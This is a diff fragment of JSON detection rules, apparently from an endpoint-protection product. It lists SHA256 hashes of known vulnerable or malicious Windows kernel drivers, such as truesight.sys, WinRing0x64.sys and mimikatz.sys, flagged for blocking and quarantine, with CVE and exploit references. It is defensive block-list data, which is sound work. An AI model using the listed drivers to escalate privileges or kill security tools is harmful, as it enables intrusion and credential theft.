+  "creation_date": "2026-03-23T11:45:29.613497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "904d8d0db7b3ed747ecfbb04386dfbe23b71ffd054f32ab17f65bc17d500f730",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc3c1461-a090-5a30-846f-a9eab6d90afe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971309Z",
+  "creation_date": "2026-03-23T11:45:29.971312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc3e60c7-e00e-5a31-9130-700992144386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973940Z",
+  "creation_date": "2026-03-23T11:45:29.973949Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973954Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc3ee6f9-b4aa-5aa1-bc29-cc880402c9d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982218Z",
+  "creation_date": "2026-03-23T11:45:29.982220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d475c4fe917020d420b5d0cf1f074b1427f49bd1f4414873501be51700f8832d",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc53a9ef-7ecd-582e-b27d-29cda1eff782",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835993Z",
+  "creation_date": "2026-03-23T11:45:30.835995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836000Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2a952ae1cb72f017e48e6d382d20765883b3ce2bc5ca15c4da0d07773551aa3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc56ebfa-7aac-52a9-b34a-524e630fcbfb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461469Z",
+  "creation_date": "2026-03-23T11:45:30.461472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70b63dfc3ed2b89a4eb8a0aa6c26885f460e5686d21c9d32413df0cdc5f962c7",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc57c00c-40f2-5f3f-b847-711d7f149cdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976371Z",
+  "creation_date": "2026-03-23T11:45:29.976373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc788772-cb85-5ca2-bc40-4bd00edceec5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821978Z",
+  "creation_date": "2026-03-23T11:45:31.821982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "214b840974ebc8cd5a2ba581ee1a903712b8c6db0fcc6f5a998cb732c9184b97",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc8185cd-125d-59f3-8e9e-9a36cbc3dd46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153542Z",
+  "creation_date": "2026-03-23T11:45:31.153544Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153550Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56ebc84e95e54a28d8bb557ebdbdc89a4e7b9205c653298a0bcc3a0159269a1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc81b4c2-3d5c-5ace-8017-52ed6980f453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830615Z",
+  "creation_date": "2026-03-23T11:45:30.830617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8d8cf37f98bb285db5b6abcfe1b25fb0c2b43dc2146dc1714af88fd6ae9cab7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc89e5a8-6cc1-5ab7-bca9-03d3917f1a27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617219Z",
+  "creation_date": "2026-03-23T11:45:29.617221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc8acceb-e8e2-54f1-8063-00f933dbeaa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969647Z",
+  "creation_date": "2026-03-23T11:45:29.969649Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e76d989489c80b5e57b12b0dbfe04063701cb0e1239a9dbe50498978dd5a71ba",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc928b78-a713-5f4d-a57f-c8b22af44afd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484359Z",
+  "creation_date": "2026-03-23T11:45:31.484362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c36b249512c286e8c26149c44ee703da62698a754413b0cc5a55d42e06b3509f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc9367bd-aeed-5e97-9bfb-98309337a8b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499459Z",
+  "creation_date": "2026-03-23T11:45:31.499462Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499470Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d47053aa2533e477f86a6848b1ca9b895cf4b3bfb2870d9481be4321b7defbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc9d50be-07f3-598a-ab27-9e73c429f93c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467442Z",
+  "creation_date": "2026-03-23T11:45:30.467445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ac415873e0a8638f5154ac4c1713b6f0527119b59706df65a5b3ed73ece02a6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bca5722f-c83d-5260-bdc0-cd6044901b41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972681Z",
+  "creation_date": "2026-03-23T11:45:29.972683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f353fc46843155b6b63e75994f5328b9d4344654d5759a5145cd6e64babe3de",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bca66824-c9b5-5edd-80b6-52903e933a6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615606Z",
+  "creation_date": "2026-03-23T11:45:29.615608Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615614Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48ac8ae911c490e1b7f7813c0f345677e110ffaa9ef385b86ca25e5519e2c0de",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcb3b05b-8299-5fa4-8f9b-bc5e9f4a1e24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148131Z",
+  "creation_date": "2026-03-23T11:45:31.148133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eafe1af8bd0bf72746a7dac888fab44660b7874e7dc873f3b841534bd4a288b9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcc3d352-47de-5596-8828-c622a24bc267",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470640Z",
+  "creation_date": "2026-03-23T11:45:30.470643Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dca34739f3935caed2af248206452e7ba1fdf394c901e74729b5a96884dc6228",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcc709ac-d8fd-57b9-8ba0-995016e9cb19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453912Z",
+  "creation_date": "2026-03-23T11:45:30.453916Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0181d60506b1f3609217487c2c737621d637e1232f243f68c662d045f44d4873",
+  "comment": "Malicious Kernel Driver (aka 4118b86e490aed091b1a219dba45f332.sys) [https://www.loldrivers.io/drivers/b32d8d7d-0dc2-4d09-a306-8efc4caf1839/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcc7712a-d3e5-5bb1-941c-d2f950191884",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462398Z",
+  "creation_date": "2026-03-23T11:45:30.462402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd9386206a5dfdf63bf642e2917fae6d5e8a1e52874cb2cfbabf79e47b9fed74",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bccb1037-c236-5ce3-b136-645abad8f0fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479699Z",
+  "creation_date": "2026-03-23T11:45:31.479704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1799e5e5eb44ccfc05a608a774123de9904eb0a7ef66b5bc700bbe6cc2c8050b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bccb6707-2470-56d6-be44-f176b497bb65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827551Z",
+  "creation_date": "2026-03-23T11:45:31.827553Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
